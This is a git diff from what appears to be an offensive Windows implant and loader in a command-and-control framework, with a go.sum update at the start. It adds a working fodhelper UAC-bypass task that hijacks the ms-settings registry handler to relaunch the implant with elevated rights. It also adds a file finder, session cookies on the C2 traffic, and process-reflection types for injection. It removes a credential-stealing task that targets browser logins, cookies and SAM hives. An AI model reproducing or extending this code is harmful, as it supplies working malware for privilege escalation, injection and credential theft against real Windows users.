h1:5om86z9Hs0C8fWVUuoMHwpExlXzs5Tkyp9hOrfG7pp8= -golang.org/x/arch v0.3.0 h1:02VY4/ZcO/gBOH6PUaoiptASxtXU10jazRCP865E97k= -golang.org/x/arch v0.3.0/go.mod h1:5om86z9Hs0C8fWVUuoMHwpExlXzs5Tkyp9hOrfG7pp8= -golang.org/x/crypto v0.21.0 h1:X31++rzVUdKhX5sWmSOFZxx8UW/ldWx55cbf08iNAMA= -golang.org/x/crypto v0.21.0/go.mod h1:0BP7YvVV9gBbVKyeTG0Gyn+gZm94bibOW5BjDEYAOMs= -golang.org/x/net v0.22.0 h1:9sGLhx7iRIHEiX0oAJ3MRZMUCElJgy7Br1nO+AMN3Tc= -golang.org/x/net v0.22.0/go.mod h1:JKghWKKOSdJwpW2GEx0Ja7fmaKnMsbu+MWVZTokSYmg= +golang.org/x/arch v0.7.0 h1:pskyeJh/3AmoQ8CPE95vxHLqp1G1GfGNXTmcl9NEKTc= +golang.org/x/arch v0.7.0/go.mod h1:FEVrYAQjsQXMVJ1nsMoVVXPZg6p2JE2mx8psSWTDQys= +golang.org/x/crypto v0.22.0 h1:g1v0xeRhjcugydODzvb3mEM9SQ0HGp9s/nh3COQ/C30= +golang.org/x/crypto v0.22.0/go.mod h1:vr6Su+7cTlO45qkww3VDJlzDn0ctJvRgYbC2NvXHt+M= +golang.org/x/net v0.24.0 h1:1PcaxkF854Fu3+lvBIx5SYn9wRlBzzcnHZSiaFFAb0w= +golang.org/x/net v0.24.0/go.mod h1:2Q7sJY5mzlzWjKtYUEXSlBWCdyaioyXzRB2RtU8KVE8= golang.org/x/sys v0.0.0-20181122145206-62eef0e2fa9b/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= golang.org/x/sys v0.0.0-20220310020820-b874c991c1a5/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= -golang.org/x/sys v0.0.0-20220704084225-05e143d24a9e/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20220811171246-fbc7d0a398ab/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.5.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.6.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= -golang.org/x/sys v0.18.0 h1:DBdB3niSjOA/O0blCZBqDefyWNYveAYMNF1Wum0DYQ4= -golang.org/x/sys v0.18.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA= -golang.org/x/term v0.18.0 h1:FcHjZXDMxI8mM3nwhX9HlKop4C0YQvCVCdwYl2wOtE8= -golang.org/x/term v0.18.0/go.mod h1:ILwASektA3OnRv7amZ1xhE/KTR+u50pbXfZ03+6Nx58= +golang.org/x/sys v0.19.0 h1:q5f1RH2jigJ1MoAWp2KTp3gm5zAGFUTarQZ5U386+4o= +golang.org/x/sys v0.19.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA= +golang.org/x/term v0.19.0 h1:+ThwsDv+tYfnJFhF4L8jITxu1tdTWRTZpdsWgEgjL6Q= +golang.org/x/term v0.19.0/go.mod h1:2CuTdWZ7KHSQwUzKva0cbMg6q2DMI3Mmxp+gKJbskEk= golang.org/x/text v0.14.0 h1:ScX5w1eTa3QqT8oi6+ziP7dTV1S2+ALU0bI+0zXKWiQ= golang.org/x/text v0.14.0/go.mod h1:18ZOQIKpY8NJVqYksKHtTdi31H5itFRjB5/qKTNYzSU= google.golang.org/genproto/googleapis/rpc v0.0.0-20231106174013-bbf56f31fb17 h1:Jyp0Hsi0bmHXG6k9eATXoYtjd6e2UzZ1SCn/wIupY14= @@ -147,4 +162,5 @@ gopkg.in/check.v1 v1.0.0-20201130134442-10cb98267c6c/go.mod h1:JHkPIbrfpd72SG/EV gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA= gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= +nullprogram.com/x/optparse v1.0.0/go.mod h1:KdyPE+Igbe0jQUrVfMqDMeJQIJZEuyV7pjYmp6pbG50= rsc.io/pdf v0.1.1/go.mod h1:n8OzWcQ6Sp37PL01nO98y4iUCRdTGarVfzxY20ICaU4= diff --git a/payload/win/implant/CMakeLists.txt b/payload/win/implant/CMakeLists.txt index 3f6d851..a809046 100644 --- a/payload/win/implant/CMakeLists.txt +++ b/payload/win/implant/CMakeLists.txt @@ -83,10 +83,10 @@ set(SOURCE_CORE src/core/task/cmd.cpp src/core/task/connect.cpp src/core/task/cp.cpp - src/core/task/creds.cpp src/core/task/dll.cpp src/core/task/download.cpp src/core/task/env.cpp + src/core/task/find.cpp src/core/task/group.cpp src/core/task/history.cpp src/core/task/ip.cpp @@ -113,6 +113,7 @@ set(SOURCE_CORE src/core/task/shellcode.cpp src/core/task/sleep.cpp src/core/task/token.cpp + src/core/task/uac.cpp src/core/task/upload.cpp src/core/task/user.cpp src/core/task/whoami.cpp diff --git a/payload/win/implant/include/core/state.hpp b/payload/win/implant/include/core/state.hpp index ca80b65..289aea5 100644 --- a/payload/win/implant/include/core/state.hpp +++ b/payload/win/implant/include/core/state.hpp @@ -62,6 +62,7 @@ namespace State // Agent options std::wstring wUUID; + std::wstring wSessionID; std::wstring wTask; // Encrypted json taskJSON; json taskResultJSON; diff --git a/payload/win/implant/include/core/task.hpp b/payload/win/implant/include/core/task.hpp index 4fbeab7..9a32f94 100644 --- a/payload/win/implant/include/core/task.hpp +++ b/payload/win/implant/include/core/task.hpp @@ -45,10 +45,10 @@ #define TASK_CMD 0x04 #define TASK_CONNECT 0x05 #define TASK_CP 0x06 -#define TASK_CREDS_STEAL 0x07 -#define TASK_DLL 0x08 -#define TASK_DOWNLOAD 0x09 -#define TASK_ENV_LS 0x10 +#define TASK_DLL 0x07 +#define TASK_DOWNLOAD 0x08 +#define TASK_ENV_LS 0x09 +#define TASK_FIND 0x10 #define TASK_GROUP_LS 0x11 #define TASK_HISTORY 0x12 #define TASK_IP 0x13 @@ -79,10 +79,11 @@ #define TASK_SLEEP 0x38 #define TASK_TOKEN_REVERT 0x39 #define TASK_TOKEN_STEAL 0x40 -#define TASK_UPLOAD 0x41 -#define TASK_USER_LS 0x42 -#define TASK_WHOAMI 0x43 -#define TASK_WHOAMI_PRIV 0x44 +#define TASK_UAC 0x41 +#define TASK_UPLOAD 0x42 +#define TASK_USER_LS 0x43 +#define TASK_WHOAMI 0x44 +#define TASK_WHOAMI_PRIV 0x45 namespace Task { @@ -98,6 +99,15 @@ namespace Task ); } + namespace Helper::Find + { + std::wstring FindFiles( + State::PSTATE pState, + const std::wstring& wPath, + const std::wstring& wName + ); + } + namespace Helper::KeyLog { typedef struct _MYHOOKDATA @@ -133,10 +143,10 @@ namespace Task std::wstring Cmd(State::PSTATE pState, const std::wstring& wCmd); std::wstring Connect(State::PSTATE pState, const std::wstring& wListenerURL); std::wstring Cp(State::PSTATE pState, const std::wstring& wSrc, const std::wstring& wDest); - std::wstring CredsSteal(State::PSTATE pState); std::wstring Dll(State::PSTATE pState, const std::wstring& wPid, const std::wstring& wSrc, const std::wstring& wTechnique); std::wstring Download(State::PSTATE pState, const std::wstring& wSrc, const std::wstring& wDest); std::wstring EnvLs(State::PSTATE pState); + std::wstring Find(State::PSTATE pState, const std::wstring& wPath, const std::wstring& wName); std::wstring GroupLs(); std::wstring History(State::PSTATE pState); std::wstring Ip(); @@ -167,6 +177,7 @@ namespace Task std::wstring SleepSet(State::PSTATE pState, const std::wstring& wSleep); std::wstring TokenRevert(); std::wstring TokenSteal(State::PSTATE pState, const std::wstring& wPid, const std::wstring& wProcName, bool bLogin); + std::wstring Uac(State::PSTATE pState, const std::wstring& wTechnique); std::wstring Upload(State::PSTATE pState, const std::wstring& wSrc, const std::wstring& wDest); std::wstring Users(State::PSTATE pState); std::wstring Whoami(State::PSTATE pState); diff --git a/payload/win/implant/src/core/handler.cpp b/payload/win/implant/src/core/handler.cpp index 12ccd2d..8a876db 100644 --- a/payload/win/implant/src/core/handler.cpp +++ b/payload/win/implant/src/core/handler.cpp @@ -106,15 +106,20 @@ namespace Handler return FALSE; } - // Receive the agent UUID. - pState->wUUID = System::Http::ResponseRead(pState->pProcs, resp.hRequest); + // Receive the agent UUID and session ID. + std::wstring wResp = System::Http::ResponseRead(pState->pProcs, resp.hRequest); + json jResp = json::parse(Utils::Convert::UTF8Encode(wResp)); + pState->wUUID = Utils::Convert::UTF8Decode(jResp["uuid"]); + pState->wSessionID = Utils::Convert::UTF8Decode(jResp["session_id"]); return TRUE; } BOOL TaskGet(State::PSTATE pState) { - std::wstring wHeader = L"X-UUID: " + pState->wUUID + L"\r\n"; + std::wstring wHeader = L""; + wHeader += L"X-UUID: " + pState->wUUID + L"\r\n"; + wHeader += L"Cookie: session_id=" + pState->wSessionID + L"\r\n"; System::Http::WinHttpResponse resp = System::Http::RequestSend( pState->pProcs, @@ -194,9 +199,6 @@ namespace Handler Utils::Convert::UTF8Decode(args["dest"]) ); break; - case TASK_CREDS_STEAL: - wTaskResult = Task::CredsSteal(pState); - break; case TASK_DLL: wTaskResult = Task::Dll( pState, @@ -215,6 +217,13 @@ namespace Handler case TASK_ENV_LS: wTaskResult = Task::EnvLs(pState); break; + case TASK_FIND: + wTaskResult = Task::Find( + pState, + Utils::Convert::UTF8Decode(args["path"]), + Utils::Convert::UTF8Decode(args["name"]) + ); + break; case TASK_GROUP_LS: wTaskResult = Task::GroupLs(); break; @@ -349,6 +358,12 @@ namespace Handler Utils::Convert::UTF8Decode(args["login"]) == L"true" ); break; + case TASK_UAC: + wTaskResult = Task::Uac( + pState, + Utils::Convert::UTF8Decode(args["technique"]) + ); + break; case TASK_UPLOAD: wTaskResult = Task::Upload( pState, @@ -384,6 +399,7 @@ namespace Handler // Prepare additional headers std::wstring wHeaders; wHeaders = L"X-UUID: " + pState->wUUID + L"\r\n"; + wHeaders += L"Cookie: session_id=" + pState->wSessionID + L"\r\n"; // Encrypt task result std::string sTaskResultJSON = pState->taskResultJSON.dump(); diff --git a/payload/win/implant/src/core/task/creds.cpp b/payload/win/implant/src/core/task/creds.cpp deleted file mode 100644 index aa56751..0000000 --- a/payload/win/implant/src/core/task/creds.cpp +++ /dev/null @@ -1,174 +0,0 @@ -#include "core/task.hpp" - - namespace Task::Helper::Creds - { - std::map> StealCredsFromRegistryHives( - const std::wstring& wUserSID - ) { - std::map> result; - - std::vector wTargetHives = { - L"HKCU\\Software\\Microsoft\\SystemCertificates", - L"HKLM\\SAM", - L"HKLM\\Security\\Policy\\Secrets", - L"HKLM\\Software\\Microsoft\\EnterpriseCertificates", - L"HKLM\\Software\\Microsoft\\SystemCertificates", - L"HKLM\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon", - L"HKLM\\Software\\Policies\\Microsoft\\SystemCertificates", - L"HKU\\" + wUserSID + L"\\Software\\Microsoft\\SystemCertificates" - }; - - for (const std::wstring& wTarget : wTargetHives) { - std::vector wCreds = {}; - - // TODO - // ... - } - - return result; - } - - std::map> StealCredsFromFiles( - State::PSTATE pState, - const std::wstring& wUserName, - const std::wstring& wUserSID - ) { - std::map> result; - - // Get env paths. - std::wstring envAppData = System::Env::EnvStringsGet(pState->pProcs, L"%APPDATA%"); - std::wstring envLocalAppData = System::Env::EnvStringsGet(pState->pProcs, L"%LOCALAPPDATA%"); - std::wstring envSystemDrive = System::Env::EnvStringsGet(pState->pProcs, L"%SYSTEMDRIVE%"); - std::wstring envSystemRoot = System::Env::EnvStringsGet(pState->pProcs, L"%SYSTEMROOT%"); - - // Currently not working on this code. - - // std::vector wTargets = { - // envAppData + L"\\Microsoft\\SystemCertificates\\My\\Certificates", - // envAppData + L"\\Microsoft\\Credentials", - // envAppData + L"\\Microsoft\\Crypto\\RSA\\" + wUserSID, - // envAppData + L"\\Microsoft\\Crypto\\Keys", - // envAppData + L"\\Microsoft\\Protect", - // envAppData + L"\\Mozilla\\Firefox\\Profiles", - // envLocalAppData + L"\\BraveSoftware\\Brave-Browser\\User Data\\PROFILE\\Login Data", - // envLocalAppData + L"\\BraveSoftware\\Brave-Browser\\User Data\\PROFILE\\Cookies", - // envLocalAppData + L"\\Google\\Chrome\\User Data\\Default\\Cookies", - // envLocalAppData + L"\\Google\\Chrome\\User Data\\Default\\Login Data", - // envLocalAppData + L"\\Microsoft\\Vault", - // envSystemDrive + L"\\ProgramData\\Microsoft\\Crypto\\RSA\\MachineKeys", - // // envSystemDrive + L"\\Users\\" + wUserName + L"\\.Azure", - // envSystemDrive + L"\\Users\\" + wUserName + L"\\.Azure\\AzureRmContext.json", - // envSystemRoot + L"\\System32\\Config\\SAM", - // envSystemRoot + L"\\System32\\Config\\SECURITY" - // }; - - // for (const std::wstring& wTarget : wTargets) { - // // Check if the target is a file or a directory - // DWORD dwAttr = GetFileAttributesW(wTarget.c_str()); - // if (dwAttr == INVALID_FILE_ATTRIBUTES) - // { - // continue; - // } - - // if (dwAttr & FILE_ATTRIBUTE_DIRECTORY) - // { - // // Get file contents recursively in the directory. - // std::vector files = System::Fs::GetFilesInDirectory(wTarget, TRUE); - - // // Get file contents. - // std::vector wCreds = {}; - // for (const std::wstring& wFile : files) { - - // std::vector readBytes = System::Fs::FileRead(pProcs, wFile); - // if (readBytes.size() == 0) - // { - // continue; - // } - - // std::wstring wCred = Utils::Convert::UTF8Decode(std::string(readBytes.begin(), readBytes.end())); - // wCreds.push_back(wCred); - - // result.insert(std::make_pair(wFile, wCreds)); - // } - // } - // else - // { - // std::vector wCreds = {}; - - // // Get the file contents. - // std::vector readBytes = System::Fs::FileRead(pProcs, wTarget); - // if (readBytes.size() == 0) - // { - // continue; - // } - - // std::wstring wCred = Utils::Convert::UTF8Decode(std::string(readBytes.begin(), readByte.end())); - // wCreds.push_back(wCred); - - // result.insert(std::make_pair(wTarget, wCreds)); - // } - // } - - return result; - } - } - -namespace Task -{ - std::wstring CredsSteal(State::PSTATE pState) - { - // std::wstring result = L""; - - // std::wstring wAccountName = System::User::UserAccountNameGet(); - // if (wAccountName == L"") - // { - // return L"Error: Failed to get the current account name."; - // } - // std::vector wAccountNameSplit = Utils::Split::Split(wAccountName, L'\\'); - // std::wstring wUserName = wAccountNameSplit[1]; - - // std::wstring wUserSID = System::User::UserSIDGet(pState->pProcs); - // if (wUserSID == L"") - // { - // return L"Error: Failed to get the current user SID."; - // } - - // // std::map> wCredsFromRegistryHives = Task::Helper::Creds::StealCredsFromRegistryHives(wUserSID); - // std::map> wCredsFromFiles = Task::Helper::Creds::StealCredsFromFiles( - // pState, - // wUserName, - // wUserSID - // ); - - // if (wCredsFromFiles.size() == 0) - // { - // return L"Credentials not found."; - // } - - // auto iter = wCredsFromFiles.begin(); - // while (iter != wCredsFromFiles.end()) { - // std::vector wCreds = iter->second; - // if (wCreds.size() > 0) - // { - // std::wstring wTargetFile = iter->first; - // result += wTargetFile + L":\n"; - - // for (DWORD i = 0; i < wCreds.size(); i++) - // { - // result += L" " + wCreds[i] + L"\n"; - // } - // } - - // ++iter; - // } - - // if (result == L"") - // { - // return L"Credentials not found."; - // } - - // return result; - - return L"Not implemented yet."; - } -} \ No newline at end of file diff --git a/payload/win/implant/src/core/task/dll.cpp b/payload/win/implant/src/core/task/dll.cpp index 4daaf5b..c2873ae 100644 --- a/payload/win/implant/src/core/task/dll.cpp +++ b/payload/win/implant/src/core/task/dll.cpp @@ -12,7 +12,9 @@ namespace Task DWORD dwPid = Utils::Convert::WstringToDWORD(wPid, 10); // Download DLL - std::wstring wHeaders = L"X-UUID: " + pState->wUUID + L"\r\n"; + std::wstring wHeaders = L""; + wHeaders += L"X-UUID: " + pState->wUUID + L"\r\n"; + wHeaders += L"Cookie: session_id=" + pState->wSessionID + L"\r\n"; std::vector bytes = System::Http::DataDownload( pState->pProcs, pState->pCrypt, diff --git a/payload/win/implant/src/core/task/download.cpp b/payload/win/implant/src/core/task/download.cpp index f46d087..2e19469 100644 --- a/payload/win/implant/src/core/task/download.cpp +++ b/payload/win/implant/src/core/task/download.cpp @@ -8,6 +8,7 @@ namespace Task wHeaders += L"X-UUID: " + pState->wUUID + L"\r\n"; wHeaders += L"X-TASK: " + pState->wTask + L"\r\n"; wHeaders += L"X-FILE: " + wDest + L"\r\n"; + wHeaders += L"Cookie: session_id=" + pState->wSessionID + L"\r\n"; BOOL bResult = System::Http::FileUpload( pState->pProcs, diff --git a/payload/win/implant/src/core/task/find.cpp b/payload/win/implant/src/core/task/find.cpp new file mode 100644 index 0000000..03d9095 --- /dev/null +++ b/payload/win/implant/src/core/task/find.cpp @@ -0,0 +1,79 @@ +#include "core/task.hpp" + +namespace Task +{ + namespace Helper + { + std::wstring FindFiles( + State::PSTATE pState, + const std::wstring& wPath, + const std::wstring& wName + ) { + std::wstring wResult = L""; + + std::wstring wDirAbsPath = System::Fs::AbsolutePathGet(pState->pProcs, wPath, FALSE); + std::wstring wDirAbsPathExtended = System::Fs::AbsolutePathGet(pState->pProcs, wPath, TRUE); + if (wDirAbsPath == L"" || wDirAbsPathExtended == L"") + { + return L""; + } + + // Remote "\" if it exists in the suffix. + if (!wDirAbsPathExtended.empty() && wDirAbsPathExtended.back() == L'\\') + { + wDirAbsPathExtended.pop_back(); + } + + // Add "\\*" to the directory path + wDirAbsPathExtended += L"\\*"; + + // Find the first file in the directory. + WIN32_FIND_DATAW ffd; + HANDLE hFind = FindFirstFileW(wDirAbsPathExtended.c_str(), &ffd); + if (hFind == INVALID_HANDLE_VALUE) + { + return L""; + } + + // List all files in the directory + do + { + if (ffd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) + { + if (wcscmp(ffd.cFileName, L".") == 0 || wcscmp(ffd.cFileName, L"..") == 0) + { + continue; + } + + // Find recursively + wResult += Helper::FindFiles(pState, wPath + L"\\" + std::wstring(ffd.cFileName), wName); + } + else + { + if (wName == L"") + { + continue; + } + if (std::wstring(ffd.cFileName).find(wName) == std::wstring::npos) + { + continue; + } + + wResult += wPath + L"\\" + std::wstring(ffd.cFileName); + wResult += std::wstring(L"\n"); + } + } while (FindNextFileW(hFind, &ffd) != 0); + + FindClose(hFind); + return wResult; + } + } + + std::wstring Find( + State::PSTATE pState, + const std::wstring& wPath, + const std::wstring& wName + ) { + return Helper::FindFiles(pState, wPath, wName); + } +} \ No newline at end of file diff --git a/payload/win/implant/src/core/task/pe.cpp b/payload/win/implant/src/core/task/pe.cpp index bdbb3e9..16ed12d 100644 --- a/payload/win/implant/src/core/task/pe.cpp +++ b/payload/win/implant/src/core/task/pe.cpp @@ -13,7 +13,9 @@ namespace Task // DWORD dwPid = Utils::Convert::WstringToDWORD(wPid, 10); // Download PE - std::wstring wHeaders = L"X-UUID: " + pState->wUUID + L"\r\n"; + std::wstring wHeaders = L""; + wHeaders += L"X-UUID: " + pState->wUUID + L"\r\n"; + wHeaders += L"Cookie: session_id=" + pState->wSessionID + L"\r\n"; std::vector bytes = System::Http::DataDownload( pState->pProcs, pState->pCrypt, diff --git a/payload/win/implant/src/core/task/persist.cpp b/payload/win/implant/src/core/task/persist.cpp index 030e39d..f126fb9 100644 --- a/payload/win/implant/src/core/task/persist.cpp +++ b/payload/win/implant/src/core/task/persist.cpp @@ -290,7 +290,6 @@ namespace Task std::wstring wExecutables = L"explorer.exe," + std::wstring(wSelfPath); LPCWSTR lpExecutables = wExecutables.c_str(); - Stdout::DisplayMessageBoxW(lpExecutables, L"lpExecutables"); result = RegSetValueExW( hKey, diff --git a/payload/win/implant/src/core/task/procdump.cpp b/payload/win/implant/src/core/task/procdump.cpp index 9372b1e..a4bbf94 100644 --- a/payload/win/implant/src/core/task/procdump.cpp +++ b/payload/win/implant/src/core/task/procdump.cpp @@ -53,6 +53,7 @@ namespace Task wHeaders += L"X-UUID: " + pState->wUUID + L"\r\n"; wHeaders += L"X-TASK: " + pState->wTask + L"\r\n"; wHeaders += L"X-FILE: procdump\r\n"; + wHeaders += L"Cookie: session_id=" + pState->wSessionID + L"\r\n"; if (!System::Http::FileUpload( pState->pProcs, diff --git a/payload/win/implant/src/core/task/screenshot.cpp b/payload/win/implant/src/core/task/screenshot.cpp index ea91f78..f0f3345 100644 --- a/payload/win/implant/src/core/task/screenshot.cpp +++ b/payload/win/implant/src/core/task/screenshot.cpp @@ -363,6 +363,7 @@ namespace Task wHeaders += L"X-UUID: " + pState->wUUID + L"\r\n"; wHeaders += L"X-TASK: " + pState->wTask + L"\r\n"; wHeaders += L"X-FILE: screenshot\r\n"; + wHeaders += L"Cookie: session_id=" + pState->wSessionID + L"\r\n"; BOOL bResult = System::Http::FileUpload( pState->pProcs, diff --git a/payload/win/implant/src/core/task/shellcode.cpp b/payload/win/implant/src/core/task/shellcode.cpp index 1241c12..0c79177 100644 --- a/payload/win/implant/src/core/task/shellcode.cpp +++ b/payload/win/implant/src/core/task/shellcode.cpp @@ -9,7 +9,9 @@ namespace Task const std::wstring& wTechnique ) { // Download shellcode - std::wstring wHeaders = L"X-UUID: " + pState->wUUID + L"\r\n"; + std::wstring wHeaders = L""; + wHeaders += L"X-UUID: " + pState->wUUID + L"\r\n"; + wHeaders += L"Cookie: session_id=" + pState->wSessionID + L"\r\n"; std::vector bytes = System::Http::DataDownload( pState->pProcs, pState->pCrypt, diff --git a/payload/win/implant/src/core/task/token.cpp b/payload/win/implant/src/core/task/token.cpp index 8fccd59..0846ac8 100644 --- a/payload/win/implant/src/core/task/token.cpp +++ b/payload/win/implant/src/core/task/token.cpp @@ -46,8 +46,6 @@ namespace Task::Helper::Token } } - - namespace Task { std::wstring TokenRevert() @@ -60,7 +58,7 @@ namespace Task return L"Success: Reverted impersonation successfully."; } - // NTAPIs not working, so use WINAPIs + // NTAPI not working, so use WINAPIs std::wstring TokenSteal( State::PSTATE pState, const std::wstring& wPid, diff --git a/payload/win/implant/src/core/task/uac.cpp b/payload/win/implant/src/core/task/uac.cpp new file mode 100644 index 0000000..8ba91cd --- /dev/null +++ b/payload/win/implant/src/core/task/uac.cpp @@ -0,0 +1,85 @@ +#include "core/task.hpp" + +namespace Task +{ + std::wstring Uac(State::PSTATE pState, const std::wstring& wTechnique) + { + // Get current program (implant) path. + WCHAR wSelfPath[MAX_PATH]; + DWORD dwResult = GetModuleFileNameW(NULL, wSelfPath, MAX_PATH); + if (dwResult == 0) + { + return L"Error: Failed to get the program path."; + } + + LPCWSTR lpSelfPath = wSelfPath; + + if (wcscmp(wTechnique.c_str(), L"fodhelper") == 0) + { + // Reference: https://cocomelonc.github.io/malware/2023/06/19/malware-av-evasion-17.html + HKEY hKey; + DWORD d; + std::wstring wSubKey = L"Software\\Classes\\ms-settings\\Shell\\Open\\command"; + std::wstring wCmd = L"cmd /c start " + std::wstring(wSelfPath); + LPCWSTR lpCmd = wCmd.c_str(); + const WCHAR* wDel = L""; + + if (RegCreateKeyExW( + HKEY_CURRENT_USER, + wSubKey.c_str(), + 0, + nullptr, + 0, + KEY_WRITE, + nullptr, + &hKey, + &d + ) != ERROR_SUCCESS) + { + return L"Error: Failed to create key: Image File Execution Options\\notepad.exe."; + } + + if (RegSetValueExW( + hKey, + L"", + 0, + REG_SZ, + (BYTE*)lpCmd, + (wcslen(lpCmd) + 1) * sizeof(WCHAR) + ) != ERROR_SUCCESS) + { + RegCloseKey(hKey); + return L"Error: Failed to set default value for ms-settings command."; + } + + if (RegSetValueExW( + hKey, + L"DelegateExecute", + 0, + REG_SZ, + (BYTE*)wDel, + (wcslen(wDel) + 1) * sizeof(WCHAR) + ) != ERROR_SUCCESS) + { + RegCloseKey(hKey); + return L"Error: Failed to set 'DelegateExecute' value for ms-settings command."; + } + + RegCloseKey(hKey); + + // Start the fodhelper.exe + SHELLEXECUTEINFO sei = {sizeof(sei)}; + sei.lpVerb = L"runas"; + sei.lpFile = L"C:\\Windows\\System32\\fodhelper.exe"; + sei.hwnd = nullptr; + sei.nShow = SW_NORMAL; + + if (!ShellExecuteEx(&sei)) + { + return L"Error: Failed to execute shell."; + } + + return L"Success: The fodhelper.exe and another process started successfully."; + } + } +} \ No newline at end of file diff --git a/payload/win/implant/src/core/task/upload.cpp b/payload/win/implant/src/core/task/upload.cpp index d37cfad..79c6556 100644 --- a/payload/win/implant/src/core/task/upload.cpp +++ b/payload/win/implant/src/core/task/upload.cpp @@ -4,7 +4,9 @@ namespace Task { std::wstring Upload(State::PSTATE pState, const std::wstring& wSrc, const std::wstring& wDest) { - std::wstring wHeaders = L"X-UUID: " + pState->wUUID + L"\r\n"; + std::wstring wHeaders = L""; + wHeaders += L"X-UUID: " + pState->wUUID + L"\r\n"; + wHeaders += L"Cookie: session_id=" + pState->wSessionID + L"\r\n"; // Download a specified file from the C2 server. BOOL bResult = System::Http::FileDownload( diff --git a/payload/win/loader/include/core/nt.hpp b/payload/win/loader/include/core/nt.hpp index 76e43a1..c14f294 100644 --- a/payload/win/loader/include/core/nt.hpp +++ b/payload/win/loader/include/core/nt.hpp @@ -12,6 +12,9 @@ #define OBJ_INHERIT 0x00000002 #define OBJ_CASE_INSENSITIVE 0x00000040L +#define RTL_CLONE_PROCESS_FLAGS_INHERIT_HANDLES 0x00000002 +#define RTL_CLONE_PROCESS_FLAGS_NO_SYNCHRONIZE 0x00000004 + #define RTL_MAX_DRIVE_LETTERS 32 #define GDI_HANDLE_BUFFER_SIZE32 34 @@ -1090,4 +1093,11 @@ typedef struct _KERNELCALLBACKTABLE_T { ULONG_PTR __fnHkINLPMOUSEHOOKSTRUCTEX2; } KERNELCALLBACKTABLE_T; +typedef struct _RTLP_PROCESS_REFLECTION_REFLECTION_INFORMATION +{ + HANDLE ReflectionProcessHandle; + HANDLE ReflectionThreadHandle; + CLIENT_ID ReflectionClientId; +} RTLP_PROCESS_REFLECTION_REFLECTION_INFORMATION, *PRTLP_PROCESS_REFLECTION_REFLECTION_INFORMATION; + #endif // HERMIT_CORE_NTDLL_H \ No newline at end of file diff --git a/payload/win/loader/include/core/procs.hpp b/payload/win/loader/include/core/procs.hpp index ca3d700..5ff318d 100644 --- a/payload/win/loader/include/core/procs.hpp +++ b/payload/win/loader/include/core/procs.hpp @@ -40,6 +40,7 @@ #define APIHASH_NTWAITFORSINGLEOBJECT 0x73c87a00 #define APIHASH_NTWRITEFILE 0x9339e2e0 #define APIHASH_RTLALLOCATEHEAP 0xcc7755e +#define APIHASH_RTLCREATEPROCESSREFLECTION 0x6fa72a9 #define APIHASH_RTLCREATEUSERTHREAD 0x43322de6 #define APIHASH_RTLEXPANDENVIRONMENTSTRINGS 0xb73f443e #define APIHASH_RTLGETFULLPATHNAME_U 0x2116c216 @@ -131,6 +132,8 @@ namespace Procs typedef NTSTATUS (NTAPI* LPPROC_NTWRITEFILE)(HANDLE FileHandle, HANDLE Event, PIO_APC_ROUTINE ApcRoutine, PVOID ApcContext, PIO_STATUS_BLOCK IoStatusBlock, PVOID Buffer, ULONG Length, PLARGE_INTEGER ByteOffset, PULONG Key); // RtlAllocateHeap typedef PVOID (NTAPI* LPPROC_RTLALLOCATEHEAP)(PVOID HeapHandle, ULONG Flags, SIZE_T Size); + // RtlCreateProcessReflection + typedef NTSTATUS (NTAPI* LPPROC_RTLCREATEPROCESSREFLECTION)(HANDLE ProcessHandle, ULONG Flags, PVOID StartRoutine, PVOID StartContext, HANDLE EventHandle, PRTLP_PROCESS_REFLECTION_REFLECTION_INFORMATION ReflectionInformation); // RtlCreateUserThread typedef NTSTATUS (NTAPI* LPPROC_RTLCREATEUSERTHREAD)(HANDLE ProcessHandle, PSECURITY_DESCRIPTOR ThreadSecurityDescriptor, BOOLEAN CreateSuspended, ULONG ZeroBits, SIZE_T MaximumStackSize, SIZE_T CommittedStackSize, PUSER_THREAD_START_ROUTINE StartAddress, PVOID Parameter, PHANDLE ThreadHandle, PCLIENT_ID ClientId); // RtlExpandEnvironmentStrings @@ -217,6 +220,7 @@ namespace Procs LPPROC_NTWRITEFILE lpNtWriteFile = nullptr; LPPROC_NTWRITEVIRTUALMEMORY lpNtWriteVirtualMemory = nullptr; LPPROC_RTLALLOCATEHEAP lpRtlAllocateHeap = nullptr; + LPPROC_RTLCREATEPROCESSREFLECTION lpRtlCreateProcessReflection = nullptr; LPPROC_RTLCREATEUSERTHREAD lpRtlCreateUserThread = nullptr; LPPROC_RTLEXPANDENVIRONMENTSTRINGS lpRtlExpandEnvironmentStrings = nullptr; LPPROC_RTLGETFULLPATHNAME_U lpRtlGetFullPathName_U = nullptr; @@ -271,6 +275,7 @@ namespace Procs Syscalls::SYSCALL sysNtWaitForSingleObject = {0}; Syscalls::SYSCALL sysNtWriteFile = {0}; Syscalls::SYSCALL sysNtWriteVirtualMemory = {0}; + Syscalls::SYSCALL sysRtlCreateProcessReflection = {0}; Syscalls::SYSCALL sysRtlCreateUserThread = {0}; Syscalls::SYSCALL sysRtlGetFullPathName_U = {0}; Syscalls::SYSCALL sysRtlInitUnicodeString = {0}; diff --git a/payload/win/loader/include/core/technique.hpp b/payload/win/loader/include/core/technique.hpp index 9bf6646..d99a0cc 100644 --- a/payload/win/loader/include/core/technique.hpp +++ b/payload/win/loader/include/core/technique.hpp @@ -124,6 +124,11 @@ namespace Technique::Injection DWORD dwPID, const 